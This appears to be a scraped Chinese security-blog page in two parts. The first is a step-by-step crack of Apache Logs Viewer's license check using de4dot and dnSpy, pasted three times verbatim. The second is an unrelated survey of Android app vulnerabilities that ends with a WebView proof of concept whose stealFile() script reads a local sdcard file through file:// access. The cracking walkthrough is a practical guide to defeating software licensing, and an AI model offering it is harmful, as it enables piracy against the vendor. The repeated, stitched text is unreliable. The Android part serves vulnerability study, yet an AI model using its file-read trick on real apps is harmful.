i春秋作家:Sp4ce

之前说过要分享这个日志分析工具【记一次简单的攻击日志分析】的破解版,在破解的路上踩了几个坑,记录分享下。

0×00程序概述

原程序

大小: 2283672 字节
文件版本: 5.0.0.61
修改时间: 2017年11月3日, 8:12:16
MD5: 707AA8FDF34E226C3A942D32C2E739E3
SHA1: B8EDCF75DBE17E40E3B4D7FA99AD5BC3B4B87C93
CRC32: 6A6131AF

去混淆后程序

大小: 2305024 字节
文件版本: 5.0.0.61
修改时间: 2018年3月23日, 23:56:23
MD5: 4FD44749D867B7DA67A7400463315224
SHA1: 49F9DE8BA84C1284C3B3353942EDF322EB85D6D0
CRC32: E306E509

0×01程序侦测

拿到一款程序我通常都会进行侦壳,然后根据结果来选择相应的手段

选用PEiD和DIE来判断

PEiD识别到了一个未知壳。。

image.png

好吧,试试die

image.png

.net程序,看起来是混淆了

0×02去混淆

由于已经判断了程序被混淆了,尝试用De4dot去混淆,很幸运,一次成功

image.png

0×03开工

程序拖入dnSpy,搜索一些关键字[unlock、unlock code、register、thank、check等]
跟到了unlockCodeToolStripMenuItem_Click方法

image.png

private void unlockCodeToolStripMenuItem_Click(object sender, EventArgs e)    {        string text = this.prefs_0.Key;        if (!InputForm.smethod_3(“Apache Logs Viewer | “ + Class92.smethod_258(), Class92.smethod_141(), ref text))        {            return;        }        if (text != null)        {            text = text.Trim();//去空格        }        if (string.IsNullOrEmpty(text))        {            this.prefs_0.Key = string.Empty;            this.bool_0 = false;            Prefs.Save(Prefs.Filename, this.prefs_0);            this.method_2(this.bool_0);            return;        }        try        {            this.Cursor = Cursors.WaitCursor;            if (text.Length < 22)            {                throw new ApplicationException(“Failed”);//如果输入字符小于22个,弹窗提示错误            }            if (Class2.smethod_1(Class2.smethod_0(text))) //验证注册码是否正确            {                this.prefs_0.Key = text; //prefs_0.Key赋值为输入的码                this.method_23(); //联网提交                Prefs.Save(Prefs.Filename, this.prefs_0);                this.Cursor = Cursors.Default;                this.lbStatusStripNotify.Text = Class92.smethod_247() + ” Apache Logs Viewer.”;                MessageBox.Show(this, Class92.smethod_247() + ” Apache Logs Viewer.”, “Apache Logs Viewer”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk);                this.bool_0 = true; //返回正确并弹框            }            else            {                MessageBox.Show(this, Class92.smethod_115(), “Apache Logs Viewer | “ + Class92.smethod_258(), MessageBoxButtons.OK, MessageBoxIcon.Hand);                this.bool_0 = false;//激活失败            }        }        catch (Exception)        {            this.Cursor = Cursors.Default;            MessageBox.Show(this, Class92.smethod_89(), “Apache Logs Viewer | “ + Class92.smethod_258(), MessageBoxButtons.OK, MessageBoxIcon.Hand);            this.bool_0 = false;//激活失败        }        finally        {            this.Cursor = Cursors.Default;        }        this.method_2(this.bool_0);


踩第一个坑

好了,分析完这一段代码,直接ctrl+shift+e修改为如下:

public void unlockCodeToolStripMenuItem_Click(object sender, EventArgs e)    {        string text = this.prefs_0.Key;        if (text != null)        {            text = text.Trim();        }        if (string.IsNullOrEmpty(text))        {            this.prefs_0.Key = string.Empty;            this.bool_0 = false;            Prefs.Save(Prefs.Filename, this.prefs_0);            this.method_2(this.bool_0);            return;        }            this.Cursor = Cursors.WaitCursor;            if (text.Length < 1)            {                throw new ApplicationException(“Failed”);            }                this.prefs_0.Key = text;                Prefs.Save(Prefs.Filename, this.prefs_0);                this.Cursor = Cursors.Default;                this.lbStatusStripNotify.Text = Class92.smethod_247() + ” Apache Logs Viewer.”;                MessageBox.Show(this, Class92.smethod_247() + ” Apache Logs Viewer.”, “Apache Logs Viewer”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk);                this.bool_0 = true;        this.method_2(this.bool_0);    }}

然后保存

image.png

嗯,不用输入字符都能注册了

image.png

image.png

关闭,重启程序

EXM???我尼玛???

image.png

image.png

咋成未注册了,不对,冷静分♂析下,一定是漏了哪步

image.png

踩第二个坑

如果有重启验证,那么肯定是本地保存了注册码,要么是文件格式要么是注册表,于是用PM跟踪了他的行为,发现了有♂趣的东西

image.png

这货竟然把配置文件保存在C:\Users\Admin\AppData\Roaming\apachelogsview\conff.xml

image.png

那我不是改注册码就能完成注册了吗?(事实证明我太天真)

改了一个好看点的注册码:

image.png

结果依然……

image.png

继续分析

0×04柳暗花明

在一番分析后发现了一个名为method_2的方法不停的被调用,难道为关键方法?
逐全局搜索method_2,发现在启动时调用了method_2

private void MainForm_Load(object sender, EventArgs e)    {        try        {            if (Class91.bool_2)            {                Prefs.DeletePrefs();            }            ALV.Common.Debug.Info("Started..");            Prefs prefs = Prefs.Load(Prefs.Filename);            if (string.IsNullOrEmpty(prefs.InstallID))            {                prefs.InstallID = Guid.NewGuid().ToString();            }            if (prefs.sizex > 10)            {                base.Width = prefs.sizex;            }            if (prefs.sizey > 10)            {                base.Height = prefs.sizey;            }            if (prefs.maximised)            {                base.WindowState = FormWindowState.Maximized;            }            if (prefs.x >= 0 && prefs.y >= 0)            {                base.Location = new Point(prefs.x, prefs.y);            }            this.prefs_0 = prefs;            if (this.prefs_0.logColumns == null || this.prefs_0.logColumns.Count <= 0)            {                this.prefs_0.logColumns = LogColumn.ResetLogColumns();            }            ALV.Common.Debug.Info("Loading Custom Columns");            this.prefsColumns_0 = PrefsColumns.Load(PrefsColumns.Filename);            this.method_42();            DummyListView.prefs = prefs;            ALV.Common.Debug.Info("Loading IP DB");            this.ip2Country_0 = new IP2Country(true, this.prefs_0.useCity);            this.parser_0 = new Parser(this.ip2Country_0);            this.parser_0.ParseCustomColumns = this.prefs_0.parseCustomColumns;            Statistics.int_0 = this.prefs_0.topNumber;            try            {                if (prefs.monitorAuto)                {                    ALV.Common.Debug.Info("Opening Logs...");                    foreach (LoggerInfo loggerInfo in prefs.logsToView)                    {                        if (loggerInfo.Highlight != null)                        {                            this.method_48(loggerInfo.Highlight, true);                        }                        try                        {                            this.method_6(loggerInfo);                            if (Class91.bool_0)                            {                                GC.Collect();                            }                        }                        catch                        {                        }                    }                }                if (Class91.list_0 != null)                {                    foreach (string text in Class91.list_0)                    {                        try                        {                            bool flag = this.parser_0.IsErrorLog(text);                            this.method_4(text, !flag, false);                            if (Class91.bool_0)                            {                                GC.Collect();                            }                        }                        catch                        {                        }                    }                }            }            catch (Exception)            {                MessageBox.Show(Class92.smethod_241());            }            if (this.prefs_0.selTab >= 0 && this.tabControl1.TabPages.Count > this.prefs_0.selTab)            {                this.tabControl1.SelectedTabPageIndex = this.prefs_0.selTab;            }            try            {                if (!string.IsNullOrEmpty(this.prefs_0.Key))                {                    string string_ = Class2.smethod_0(this.prefs_0.Key);                    this.bool_0 = Class2.smethod_1(string_);                }            }            catch (Exception)            {                this.bool_0 = false;            }            try            {                if (IsStoreApp.IsWindowsStoreApp)                {                    this.bool_0 = true;                    this.bool_1 = true;                    this.method_0();                }            }            catch            {            }            if (!this.bool_0)//关键处            {                this.lbStatusStripNotify.Text = Class92.smethod_263() + " Apache Logs Viewer..." + Class92.smethod_66();                this.method_2(false);            }            else            {                this.lbStatusStripNotify.Text = Class92.smethod_263() + " Apache Logs Viewer";                this.method_2(true);            }

在关键处上面bool_0已经被赋值为true了,但是这里被判断为非bool_0if (this.bool_0==false)

直接干掉感叹号试试,不行再来

找对位置Ctrl+Shift+E继续编辑,干掉感叹号

image.png

OK了,高级功能解锁,可以完美使用!

抽空再汉化下就完美了

image.png

i春秋作家:Sp4ce

之前说过要分享这个日志分析工具【记一次简单的攻击日志分析】的破解版,在破解的路上踩了几个坑,记录分享下。

0×00程序概述

原程序

大小: 2283672 字节
文件版本: 5.0.0.61
修改时间: 2017年11月3日, 8:12:16
MD5: 707AA8FDF34E226C3A942D32C2E739E3
SHA1: B8EDCF75DBE17E40E3B4D7FA99AD5BC3B4B87C93
CRC32: 6A6131AF

去混淆后程序

大小: 2305024 字节
文件版本: 5.0.0.61
修改时间: 2018年3月23日, 23:56:23
MD5: 4FD44749D867B7DA67A7400463315224
SHA1: 49F9DE8BA84C1284C3B3353942EDF322EB85D6D0
CRC32: E306E509

0×01程序侦测

拿到一款程序我通常都会进行侦壳,然后根据结果来选择相应的手段

选用PEiD和DIE来判断

PEiD识别到了一个未知壳。。

image.png

好吧,试试die

image.png

.net程序,看起来是混淆了

0×02去混淆

由于已经判断了程序被混淆了,尝试用De4dot去混淆,很幸运,一次成功

image.png

0×03开工

程序拖入dnSpy,搜索一些关键字[unlock、unlock code、register、thank、check等]
跟到了unlockCodeToolStripMenuItem_Click方法

image.png

private void unlockCodeToolStripMenuItem_Click(object sender, EventArgs e)    {        string text = this.prefs_0.Key;        if (!InputForm.smethod_3(“Apache Logs Viewer | “ + Class92.smethod_258(), Class92.smethod_141(), ref text))        {            return;        }        if (text != null)        {            text = text.Trim();//去空格        }        if (string.IsNullOrEmpty(text))        {            this.prefs_0.Key = string.Empty;            this.bool_0 = false;            Prefs.Save(Prefs.Filename, this.prefs_0);            this.method_2(this.bool_0);            return;        }        try        {            this.Cursor = Cursors.WaitCursor;            if (text.Length < 22)            {                throw new ApplicationException(“Failed”);//如果输入字符小于22个,弹窗提示错误            }            if (Class2.smethod_1(Class2.smethod_0(text))) //验证注册码是否正确            {                this.prefs_0.Key = text; //prefs_0.Key赋值为输入的码                this.method_23(); //联网提交                Prefs.Save(Prefs.Filename, this.prefs_0);                this.Cursor = Cursors.Default;                this.lbStatusStripNotify.Text = Class92.smethod_247() + ” Apache Logs Viewer.”;                MessageBox.Show(this, Class92.smethod_247() + ” Apache Logs Viewer.”, “Apache Logs Viewer”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk);                this.bool_0 = true; //返回正确并弹框            }            else            {                MessageBox.Show(this, Class92.smethod_115(), “Apache Logs Viewer | “ + Class92.smethod_258(), MessageBoxButtons.OK, MessageBoxIcon.Hand);                this.bool_0 = false;//激活失败            }        }        catch (Exception)        {            this.Cursor = Cursors.Default;            MessageBox.Show(this, Class92.smethod_89(), “Apache Logs Viewer | “ + Class92.smethod_258(), MessageBoxButtons.OK, MessageBoxIcon.Hand);            this.bool_0 = false;//激活失败        }        finally        {            this.Cursor = Cursors.Default;        }        this.method_2(this.bool_0);


踩第一个坑

好了,分析完这一段代码,直接ctrl+shift+e修改为如下:

public void unlockCodeToolStripMenuItem_Click(object sender, EventArgs e)    {        string text = this.prefs_0.Key;        if (text != null)        {            text = text.Trim();        }        if (string.IsNullOrEmpty(text))        {            this.prefs_0.Key = string.Empty;            this.bool_0 = false;            Prefs.Save(Prefs.Filename, this.prefs_0);            this.method_2(this.bool_0);            return;        }            this.Cursor = Cursors.WaitCursor;            if (text.Length < 1)            {                throw new ApplicationException(“Failed”);            }                this.prefs_0.Key = text;                Prefs.Save(Prefs.Filename, this.prefs_0);                this.Cursor = Cursors.Default;                this.lbStatusStripNotify.Text = Class92.smethod_247() + ” Apache Logs Viewer.”;                MessageBox.Show(this, Class92.smethod_247() + ” Apache Logs Viewer.”, “Apache Logs Viewer”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk);                this.bool_0 = true;        this.method_2(this.bool_0);    }}

然后保存

image.png

嗯,不用输入字符都能注册了

image.png

image.png

关闭,重启程序

EXM???我尼玛???

image.png

image.png

咋成未注册了,不对,冷静分♂析下,一定是漏了哪步

image.png

踩第二个坑

如果有重启验证,那么肯定是本地保存了注册码,要么是文件格式要么是注册表,于是用PM跟踪了他的行为,发现了有♂趣的东西

image.png

这货竟然把配置文件保存在C:\Users\Admin\AppData\Roaming\apachelogsview\conff.xml

image.png

那我不是改注册码就能完成注册了吗?(事实证明我太天真)

改了一个好看点的注册码:

image.png

结果依然……

image.png

继续分析

0×04柳暗花明

在一番分析后发现了一个名为method_2的方法不停的被调用,难道为关键方法?
逐全局搜索method_2,发现在启动时调用了method_2

private void MainForm_Load(object sender, EventArgs e)    {        try        {            if (Class91.bool_2)            {                Prefs.DeletePrefs();            }            ALV.Common.Debug.Info("Started..");            Prefs prefs = Prefs.Load(Prefs.Filename);            if (string.IsNullOrEmpty(prefs.InstallID))            {                prefs.InstallID = Guid.NewGuid().ToString();            }            if (prefs.sizex > 10)            {                base.Width = prefs.sizex;            }            if (prefs.sizey > 10)            {                base.Height = prefs.sizey;            }            if (prefs.maximised)            {                base.WindowState = FormWindowState.Maximized;            }            if (prefs.x >= 0 && prefs.y >= 0)            {                base.Location = new Point(prefs.x, prefs.y);            }            this.prefs_0 = prefs;            if (this.prefs_0.logColumns == null || this.prefs_0.logColumns.Count <= 0)            {                this.prefs_0.logColumns = LogColumn.ResetLogColumns();            }            ALV.Common.Debug.Info("Loading Custom Columns");            this.prefsColumns_0 = PrefsColumns.Load(PrefsColumns.Filename);            this.method_42();            DummyListView.prefs = prefs;            ALV.Common.Debug.Info("Loading IP DB");            this.ip2Country_0 = new IP2Country(true, this.prefs_0.useCity);            this.parser_0 = new Parser(this.ip2Country_0);            this.parser_0.ParseCustomColumns = this.prefs_0.parseCustomColumns;            Statistics.int_0 = this.prefs_0.topNumber;            try            {                if (prefs.monitorAuto)                {                    ALV.Common.Debug.Info("Opening Logs...");                    foreach (LoggerInfo loggerInfo in prefs.logsToView)                    {                        if (loggerInfo.Highlight != null)                        {                            this.method_48(loggerInfo.Highlight, true);                        }                        try                        {                            this.method_6(loggerInfo);                            if (Class91.bool_0)                            {                                GC.Collect();                            }                        }                        catch                        {                        }                    }                }                if (Class91.list_0 != null)                {                    foreach (string text in Class91.list_0)                    {                        try                        {                            bool flag = this.parser_0.IsErrorLog(text);                            this.method_4(text, !flag, false);                            if (Class91.bool_0)                            {                                GC.Collect();                            }                        }                        catch                        {                        }                    }                }            }            catch (Exception)            {                MessageBox.Show(Class92.smethod_241());            }            if (this.prefs_0.selTab >= 0 && this.tabControl1.TabPages.Count > this.prefs_0.selTab)            {                this.tabControl1.SelectedTabPageIndex = this.prefs_0.selTab;            }            try            {                if (!string.IsNullOrEmpty(this.prefs_0.Key))                {                    string string_ = Class2.smethod_0(this.prefs_0.Key);                    this.bool_0 = Class2.smethod_1(string_);                }            }            catch (Exception)            {                this.bool_0 = false;            }            try            {                if (IsStoreApp.IsWindowsStoreApp)                {                    this.bool_0 = true;                    this.bool_1 = true;                    this.method_0();                }            }            catch            {            }            if (!this.bool_0)//关键处            {                this.lbStatusStripNotify.Text = Class92.smethod_263() + " Apache Logs Viewer..." + Class92.smethod_66();                this.method_2(false);            }            else            {                this.lbStatusStripNotify.Text = Class92.smethod_263() + " Apache Logs Viewer";                this.method_2(true);            }

在关键处上面bool_0已经被赋值为true了,但是这里被判断为非bool_0if (this.bool_0==false)

直接干掉感叹号试试,不行再来

找对位置Ctrl+Shift+E继续编辑,干掉感叹号

image.png

OK了,高级功能解锁,可以完美使用!

抽空再汉化下就完美了

image.png

i春秋作家:Sp4ce

之前说过要分享这个日志分析工具【记一次简单的攻击日志分析】的破解版,在破解的路上踩了几个坑,记录分享下。

0×00程序概述

原程序

大小: 2283672 字节
文件版本: 5.0.0.61
修改时间: 2017年11月3日, 8:12:16
MD5: 707AA8FDF34E226C3A942D32C2E739E3
SHA1: B8EDCF75DBE17E40E3B4D7FA99AD5BC3B4B87C93
CRC32: 6A6131AF

去混淆后程序

大小: 2305024 字节
文件版本: 5.0.0.61
修改时间: 2018年3月23日, 23:56:23
MD5: 4FD44749D867B7DA67A7400463315224
SHA1: 49F9DE8BA84C1284C3B3353942EDF322EB85D6D0
CRC32: E306E509

0×01程序侦测

拿到一款程序我通常都会进行侦壳,然后根据结果来选择相应的手段

选用PEiD和DIE来判断

PEiD识别到了一个未知壳。。

image.png

好吧,试试die

image.png

.net程序,看起来是混淆了

0×02去混淆

由于已经判断了程序被混淆了,尝试用De4dot去混淆,很幸运,一次成功

image.png

0×03开工

程序拖入dnSpy,搜索一些关键字[unlock、unlock code、register、thank、check等]
跟到了unlockCodeToolStripMenuItem_Click方法

image.png

private void unlockCodeToolStripMenuItem_Click(object sender, EventArgs e)    {        string text = this.prefs_0.Key;        if (!InputForm.smethod_3(“Apache Logs Viewer | “ + Class92.smethod_258(), Class92.smethod_141(), ref text))        {            return;        }        if (text != null)        {            text = text.Trim();//去空格        }        if (string.IsNullOrEmpty(text))        {            this.prefs_0.Key = string.Empty;            this.bool_0 = false;            Prefs.Save(Prefs.Filename, this.prefs_0);            this.method_2(this.bool_0);            return;        }        try        {            this.Cursor = Cursors.WaitCursor;            if (text.Length < 22)            {                throw new ApplicationException(“Failed”);//如果输入字符小于22个,弹窗提示错误            }            if (Class2.smethod_1(Class2.smethod_0(text))) //验证注册码是否正确            {                this.prefs_0.Key = text; //prefs_0.Key赋值为输入的码                this.method_23(); //联网提交                Prefs.Save(Prefs.Filename, this.prefs_0);                this.Cursor = Cursors.Default;                this.lbStatusStripNotify.Text = Class92.smethod_247() + ” Apache Logs Viewer.”;                MessageBox.Show(this, Class92.smethod_247() + ” Apache Logs Viewer.”, “Apache Logs Viewer”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk);                this.bool_0 = true; //返回正确并弹框            }            else            {                MessageBox.Show(this, Class92.smethod_115(), “Apache Logs Viewer | “ + Class92.smethod_258(), MessageBoxButtons.OK, MessageBoxIcon.Hand);                this.bool_0 = false;//激活失败            }        }        catch (Exception)        {            this.Cursor = Cursors.Default;            MessageBox.Show(this, Class92.smethod_89(), “Apache Logs Viewer | “ + Class92.smethod_258(), MessageBoxButtons.OK, MessageBoxIcon.Hand);            this.bool_0 = false;//激活失败        }        finally        {            this.Cursor = Cursors.Default;        }        this.method_2(this.bool_0);


踩第一个坑

好了,分析完这一段代码,直接ctrl+shift+e修改为如下:

public void unlockCodeToolStripMenuItem_Click(object sender, EventArgs e)    {        string text = this.prefs_0.Key;        if (text != null)        {            text = text.Trim();        }        if (string.IsNullOrEmpty(text))        {            this.prefs_0.Key = string.Empty;            this.bool_0 = false;            Prefs.Save(Prefs.Filename, this.prefs_0);            this.method_2(this.bool_0);            return;        }            this.Cursor = Cursors.WaitCursor;            if (text.Length < 1)            {                throw new ApplicationException(“Failed”);            }                this.prefs_0.Key = text;                Prefs.Save(Prefs.Filename, this.prefs_0);                this.Cursor = Cursors.Default;                this.lbStatusStripNotify.Text = Class92.smethod_247() + ” Apache Logs Viewer.”;                MessageBox.Show(this, Class92.smethod_247() + ” Apache Logs Viewer.”, “Apache Logs Viewer”, MessageBoxButtons.OK, MessageBoxIcon.Asterisk);                this.bool_0 = true;        this.method_2(this.bool_0);    }}

然后保存

image.png

嗯,不用输入字符都能注册了

image.png

image.png

关闭,重启程序

EXM???我尼玛???

image.png

image.png

咋成未注册了,不对,冷静分♂析下,一定是漏了哪步

image.png

踩第二个坑

如果有重启验证,那么肯定是本地保存了注册码,要么是文件格式要么是注册表,于是用PM跟踪了他的行为,发现了有♂趣的东西

image.png

这货竟然把配置文件保存在C:\Users\Admin\AppData\Roaming\apachelogsview\conff.xml

image.png

那我不是改注册码就能完成注册了吗?(事实证明我太天真)

改了一个好看点的注册码:

image.png

结果依然……

image.png

继续分析

0×04柳暗花明

在一番分析后发现了一个名为method_2的方法不停的被调用,难道为关键方法?
逐全局搜索method_2,发现在启动时调用了method_2

private void MainForm_Load(object sender, EventArgs e)    {        try        {            if (Class91.bool_2)            {                Prefs.DeletePrefs();            }            ALV.Common.Debug.Info("Started..");            Prefs prefs = Prefs.Load(Prefs.Filename);            if (string.IsNullOrEmpty(prefs.InstallID))            {                prefs.InstallID = Guid.NewGuid().ToString();            }            if (prefs.sizex > 10)            {                base.Width = prefs.sizex;            }            if (prefs.sizey > 10)            {                base.Height = prefs.sizey;            }            if (prefs.maximised)            {                base.WindowState = FormWindowState.Maximized;            }            if (prefs.x >= 0 && prefs.y >= 0)            {                base.Location = new Point(prefs.x, prefs.y);            }            this.prefs_0 = prefs;            if (this.prefs_0.logColumns == null || this.prefs_0.logColumns.Count <= 0)            {                this.prefs_0.logColumns = LogColumn.ResetLogColumns();            }            ALV.Common.Debug.Info("Loading Custom Columns");            this.prefsColumns_0 = PrefsColumns.Load(PrefsColumns.Filename);            this.method_42();            DummyListView.prefs = prefs;            ALV.Common.Debug.Info("Loading IP DB");            this.ip2Country_0 = new IP2Country(true, this.prefs_0.useCity);            this.parser_0 = new Parser(this.ip2Country_0);            this.parser_0.ParseCustomColumns = this.prefs_0.parseCustomColumns;            Statistics.int_0 = this.prefs_0.topNumber;            try            {                if (prefs.monitorAuto)                {                    ALV.Common.Debug.Info("Opening Logs...");                    foreach (LoggerInfo loggerInfo in prefs.logsToView)                    {                        if (loggerInfo.Highlight != null)                        {                            this.method_48(loggerInfo.Highlight, true);                        }                        try                        {                            this.method_6(loggerInfo);                            if (Class91.bool_0)                            {                                GC.Collect();                            }                        }                        catch                        {                        }                    }                }                if (Class91.list_0 != null)                {                    foreach (string text in Class91.list_0)                    {                        try                        {                            bool flag = this.parser_0.IsErrorLog(text);                            this.method_4(text, !flag, false);                            if (Class91.bool_0)                            {                                GC.Collect();                            }                        }                        catch                        {                        }                    }                }            }            catch (Exception)            {                MessageBox.Show(Class92.smethod_241());            }            if (this.prefs_0.selTab >= 0 && this.tabControl1.TabPages.Count > this.prefs_0.selTab)            {                this.tabControl1.SelectedTabPageIndex = this.prefs_0.selTab;            }            try            {                if (!string.IsNullOrEmpty(this.prefs_0.Key))                {                    string string_ = Class2.smethod_0(this.prefs_0.Key);                    this.bool_0 = Class2.smethod_1(string_);                }            }            catch (Exception)            {                this.bool_0 = false;            }            try            {                if (IsStoreApp.IsWindowsStoreApp)                {                    this.bool_0 = true;                    this.bool_1 = true;                    this.method_0();                }            }            catch            {            }            if (!this.bool_0)//关键处            {                this.lbStatusStripNotify.Text = Class92.smethod_263() + " Apache Logs Viewer..." + Class92.smethod_66();                this.method_2(false);            }            else            {                this.lbStatusStripNotify.Text = Class92.smethod_263() + " Apache Logs Viewer";                this.method_2(true);            }

在关键处上面bool_0已经被赋值为true了,但是这里被判断为非bool_0if (this.bool_0==false)

直接干掉感叹号试试,不行再来

找对位置Ctrl+Shift+E继续编辑,干掉感叹号

image.png

OK了,高级功能解锁,可以完美使用!

抽空再汉化下就完美了

image.png

i春秋作家:MAX丶

基本知识Android架构

  • Kernel内核层 
    漏洞危害极大,通用性强 
    驱动由于多而杂,也可能存在不少漏洞
  • Libaries系统运行库层
  • FrameWork应用框架层 
    提供一系列的服务和API的接口

    • 活动管理器
    • 内容提供器
    • 视图
    • 资源管理器
    • 通知管理器
  • Application应用层

    • 系统应用 
      主屏幕Home、联系人Contact、电话Phone、浏览器Browser
    • 其他应用 
      开发者使用应用程序框架层的API实现的程序

Andoroid常用组件

  • Acitivity活动
  • Service服务
  • BroadcastRecviver广播接收器
  • ContentProvider内容提供器

Android App常见漏洞     (OWASP Mobile Top 10)平台使用不当

  • 概述 
    平台功能的滥用,或未能使用平台的安全控制。如Intent误用、权限误用等

  • 风险 
    很广泛,可能涉及移动平台各个服务

  • 举例 
    iOS系统中,将密码数据存放在本地文件而没有存放在密钥链中,导致可以从伪加密的备份数据中读取 
    Android系统中,Intent使用不当导致恶意用户劫持修改intent的内容,以原进程的身份权限执行任意动作

  • 不安全的数据存储

  • 不安全的通信

典型漏洞及挖掘方法数据存储漏洞

  • 数据文件或目录

    • SharedPreferences 
      data/data/程序包名/shared_prefs/*.xml
      • 创建配置文件时没有使用MODE_PRIVATE模式,导致其他程序可以读取配置文件
      • 明文存储,而root用户可读,导致敏感数据泄露
    • SQLiteDatabases 
      data/data程序包名/database/*.db

      • 创建数据库时没有使用MODE_PRIVATE模式
    • InternalStorage 
      data/data/程序报名/files/*

      • MODE_PRIVATE
      • 明文存储
    • ExternalStorage 
      /mnt/sdcard/*
      • 明文存储

  • 检测方法
    • 浏览/data/data/包名目录下的各个文件和目录,检查是否存在others用户可读的文件
    • 检查配置文件、数据库等是否存在明文敏感信息
  • 挖掘方法
    • 代码检测 
      检查openFileOutput、getSharedPrefreences、openOrCreateDatabase等函数的mode参数是否为MODE_PRIVATE(0×0000)

数据通信漏洞

  • 使用HTTP等明文协议将敏感信息传送至服务端
    • 通过局域网嗅探、恶意公共WIFI、恶意代理服务、DNS劫持等手段捕获明文通信,产生中间人攻击
  • SSL证书弱校验

    • APP中缺乏对SSL证书的校验 
      客户端中应该实现X509TruestManager类,包括checkServerTrusted\checkClientTrusted\getInstance三个方法
    • 证书校验失败会导致异常,然后由应用程序对证书校验异常进行处理
    • 未对服务器证书校验会导致TLS中间人攻击 
      使用HttpsURLConnection时,实现自定义HostnameVerifier过程中未对主机名做验证,则默认不检查证书域名与站点名是否匹配。或者在设置HttpsURLConnection的HostnameVerifier时,将其设为ALLOW_ALL_HOSTNAME_VERIIER则接受所有域名.
    • 攻击方法
      • 开启Fiddler的HTTPS解析功能,生成并导出自签名证书,安装到手机中
      • 开启Fiddler代理,并允许远程主机连接该代理
    • 挖掘方法
      • 搜索.method public checkServerTrusted
      • 定位.method和end method
      • 检查是否存在return-void
      • 同理检查verify(String, SSLSession)的返回值是否恒为True、X509HostnameVerifier的参数是否为ALLOW_ALLHOSTNAME_VERIFIER

  • SSL证书强校验 
    可能通过Xp、Patch等方法绕过

组件暴露漏洞

  • Android:exported是四大组件中都有的一个属性,用来表示是否支持其他应用调用当前组件
  • 如果有intent-filter,默认值为true;反之默认则为false
  • exported导出组件的权限控制
  • 绕过认证
    • activity暴露后被第三方调用,可能在没有密码的情况下登录/重置密码
  • 敏感信息泄露
    • recviver暴露后被第三方启动,可能查看到调试等信息中包含的敏感信息
  • 越权行为

    • 低权限程序通过调用高权限程序暴露的组件,执行高权限动作
  • 挖掘方法

    • 查看AndroidManifest.xml
    • 通过drozer的attacksurface工具进行安全评估

弱加密漏洞

  • 密码硬编码 
    反编译、root查看等可以取得
  • AES/DES弱加密 
    ECB模式容易受到分析或重放攻击

WebView

主要包括三种漏洞:

  • 任意代码执行
    • Android4.2以后,通过addJavascriptInterface注解的方法可被网页中的java方法调用。如果未加过滤则可能存在漏洞
    • 挖掘方法:
      • 编写遍历对象的网页,如果存在getClass方法则存在远程代码执行漏洞
      • fiddler的before脚本可以让任意webview访问任意网页时进行测试

  • 域控制不严格
    • WebView如果打开了对JavaScript的支持,同时未对file:///形式的URL做限制,则会导致coookie、私有文件、数据库等敏感信息泄露
      • setAllowFileAccess
      • setAllowFileAccessFromFileURLs
      • setAllowUniversalAccessFromFileURLs(导致远程泄露敏感信息)
      • 通过符号链接攻击可以访问本地文件:无论怎么限制,js都能访问本文件的。而通过延时执行和将当前文件替换成指向指向其他文件的软连接就可以读取到被符号链接所指向的文件

  • 密码明文存储 
    当用户选择保存在WebViEW中输入的用户名和密码时,则会被明文保存到app目录下的data.db中 
    具有root权限的攻击者可以读取

漏洞挖掘流程总结

  • 静态分析 
    快速检测,获得分析重点目标
    • 检查AndroidManifest文件
    • 脚本分析Smali代码
  • 动态分析 
    对疑似风险进行验证和危害评估
    • 调试模式分析
    • 尝试操作/漏洞验证
    • drozer
    • 抓包分析数据及接口
  • 逆向分析 
    加密破解以及对逻辑和代码的进一步分析
    • -

  • 自动化辅助系统
    • MobSF 包括前端web界面,
    • Marvin 包括前端web界面,部署麻烦
    • Inspeckage Xposed插件

今天我们就来讲讲WebView 的漏洞

[Java] 纯文本查看 复制代码

?

示例代码地址:https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo

或者是我的github:https://github.com/MaxSecret/AppVulnerability/tree/master/WebViewFileDemo1

代码如下代码主要区别在于这次加载的attack_file.html

public class MainActivity extends Activity {  

    private WebView webView;  

    private Uri mUri;  

    private String url;  

    String mUrl1 = “file:///android_asset/html/attack_file.html”;  

    //String mUrl2 = “file:///android_asset/html/test.html”;  

   

    @Override 

    protected void onCreate(Bundle savedInstanceState) {  

        super.onCreate(savedInstanceState);  

        setContentView(R.layout.activity_main);  

        webView = (WebView) findViewById(R.id.webview);  

        webView.getSettings().setJavaScriptEnabled(true);  

        webView.addJavascriptInterface(new JSInterface(), “jsInterface”);  

        webView.getSettings().setAllowFileAccessFromFileURLs(true);  

        webView.setWebChromeClient(new WebChromeClient() {  

            @Override 

                public boolean onJsAlert(WebView view, String url, String message,JsResult result) {  

                //Required functionality here  

                return super.onJsAlert(view, url, message, result);  

            }  

        });  

        webView.loadUrl(mUrl1);  

    }  

       

       

    class JSInterface {  

        public String onButtonClick(String text) {  

            final String str = text;  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Log.e(“leehong2″, “onButtonClick: text = ” + str);  

                    Toast.makeText(getApplicationContext(), “onButtonClick: text = ” + str, Toast.LENGTH_LONG).show();  

                }  

            });  

               

            return “This text is returned from Java layer.  js text = ” + text;  

        }  

           

        public void onImageClick(String url, int width, int height) {  

            final String str = “onImageClick: text = ” + url + “  width = ” + width + “  height = ” + height;  

            Log.i(“leehong2″, str);  

            runOnUiThread(new Runnable() {  

                @Override 

                public void run() {  

                    Toast.makeText(getApplicationContext(), str, Toast.LENGTH_LONG).show();  

                }  

            });  

        }  

    }  

   

}

这里webView.getSettings().setAllowFileAccessFromFileURLs(true),标示可以通过javaScript访问file文件。

   我们再来看attack_file.html的代码:‘

<font style=”color:rgb(79, 79, 79)”><font face=”&quot;”><font style=”font-size:16px”><html>  

<body>  

<script>  

function stealFile()  

{  

    var file = “file:///mnt/sdcard/233.txt”;  

    var xmlHttpReq = new XMLHttpRequest();  

    xmlHttpReq.onreadystatechange = function(){  

        if(xmlHttpReq.readyState == 4){  

            alert(xmlHttpReq.responseText);  

        }  

    }  

   

xmlHttpReq.open(“GET”, file);  

xmlHttpReq.send(null);  

}  

stealFile();  

</script>  

</body>  

</html>  </font></font></font>

由于setAllowFileAccessFromFileURLs为true,所以webView.load这个html可以返回/mnt/sdcard/2333.txt的值。

如果setAllowFileAccessFromFileURLs为false,webView.load这个html不可以返回/mnt/sdcard/2333.txt的值。

